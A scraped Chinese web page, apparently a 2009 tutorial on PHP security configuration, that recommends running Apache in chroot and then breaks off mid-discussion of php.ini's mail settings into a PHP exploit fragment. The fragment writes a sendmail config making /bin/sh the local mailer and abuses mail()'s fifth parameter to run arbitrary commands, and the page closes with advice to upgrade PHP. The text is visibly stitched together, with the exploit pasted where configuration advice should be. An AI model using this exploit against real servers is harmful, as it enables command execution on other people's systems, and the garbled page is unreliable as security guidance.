当前位置: 首页 > 图文教程 > 网络编程 > PHP > PHP安全配置(1)

PHP
PHP代码生成RSS 文档
php中缩略图原理详解
让php也实现多线程
成功安装Mysql+Apache2+php5过程
php简单防刷计数器
PHP个人网站架设连环讲(一)
PHP个人网站架设连环讲(二)
PHP个人网站架设连环讲(三)
PHP 和 XML: 使用expat函数(一)
PHP 和 XML: 使用expat函数(二)
PHP 和 XML: 使用expat函数(三)
用php获得产生随机数的办法
PHP中session一些奇怪的问题
php删除上传的图片及文件夹
PHP控制网页过期时间的代码
PHP文件上传的原理及实现
PHP上传文件涉及到的参数
利用discuz实现PHP大文件上传应用举例
三种php数组输出方法
Mysql中创建用户帐户的方法

PHP安全配置(1)


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-08-14   浏览: 70 ::
收藏到网摘: n/a

一、Web服务器安全

PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全。当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽。PHP可以和各种Web服务器结合,这里也只讨论Apache。非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统。但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而不能用localhost实现socket连接,这在效率上会稍微差一点。还有mail函数发送邮件也是个问题,因为php.ini里的:

[mailfunction]
;ForWin32;
$cf="/tmp/cf123";
$fd=fopen($cf,"w");
fwrite($fd,"OQ/tmp
Sparse=0
R$*".chr(9)."$#local$@$1$:$1
Mlocal,P=/bin/sh,A=sh$script");
fclose($fd);
$fd=fopen($script,"w");
fwrite($fd,"rm-f$script$cf;");
fwrite($fd,$cmd);
fclose($fd);
mail("nobody","","","","-C$cf");
?>



还是使用以上有问题版本PHP的用户一定要及时升级到最新版本,这样才能消除基本的安全问题。